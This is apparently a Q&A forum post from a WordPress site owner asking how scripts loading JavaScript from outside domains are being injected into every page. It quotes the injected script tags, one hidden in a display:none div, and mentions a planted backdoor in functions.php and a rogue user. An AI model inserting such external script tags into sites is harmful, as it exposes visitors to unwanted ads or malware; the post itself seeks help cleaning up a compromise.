title: Script being injected into the top of all my wordpress page
body: <p>Just noticed ads appearing on one of our Wordpress sites. Nailed it down to these scripts being injected into the top of every page:</p>
  
  <pre><code>&lt;script language="javascript" type="text/javascript" src="http://www.mde86.org/jquery.min.Js"&gt;&lt;/script&gt;&lt;div style="display:none"&gt;&lt;script language="javascript" type="text/javascript" src="http://js.users.51.la/18658151.js"&gt;&lt;/script&gt;
  </code></pre>
  
  <p>Been looking at all the files and database for hours and can't figure out what is injecting it or how it got there. </p>
  
  <p>What we found so far: </p>
  
  <ul>
  <li>Some random lines in the function.php that were handling posts /
  gets. We removed those but that didn't seem to solve the issue.</li>
  <li>We found a wordpress user that no one has apparently created. So we removed that.</li>
  <li>Reset all passwords on wordpress and FTP access</li>
  <li>When we load a copy of the site on our local setup it doesn't display the ads or load the scripts... Almost like it can detect / target the live site?</li>
  </ul>
  
  <p>But we still can't find where or how the script is being injected. </p>
  
  <p>Any help greatly appreciated. </p>
  
  <p>Someone had a similar issue here but unfortunately removed their post so only the cached remains:
  <a href="http://webcache.googleusercontent.com/search?q=cache:US-HRpncY-QJ:stackoverflow.com/questions/33398784/script-being-injected-into-the-top-of-all-my-wordpress-page+&amp;cd=1&amp;hl=en&amp;ct=clnk&amp;gl=au" rel="nofollow">http://webcache.googleusercontent.com/search?q=cache:US-HRpncY-QJ:stackoverflow.com/questions/33398784/script-being-injected-into-the-top-of-all-my-wordpress-page+&amp;cd=1&amp;hl=en&amp;ct=clnk&amp;gl=au</a></p>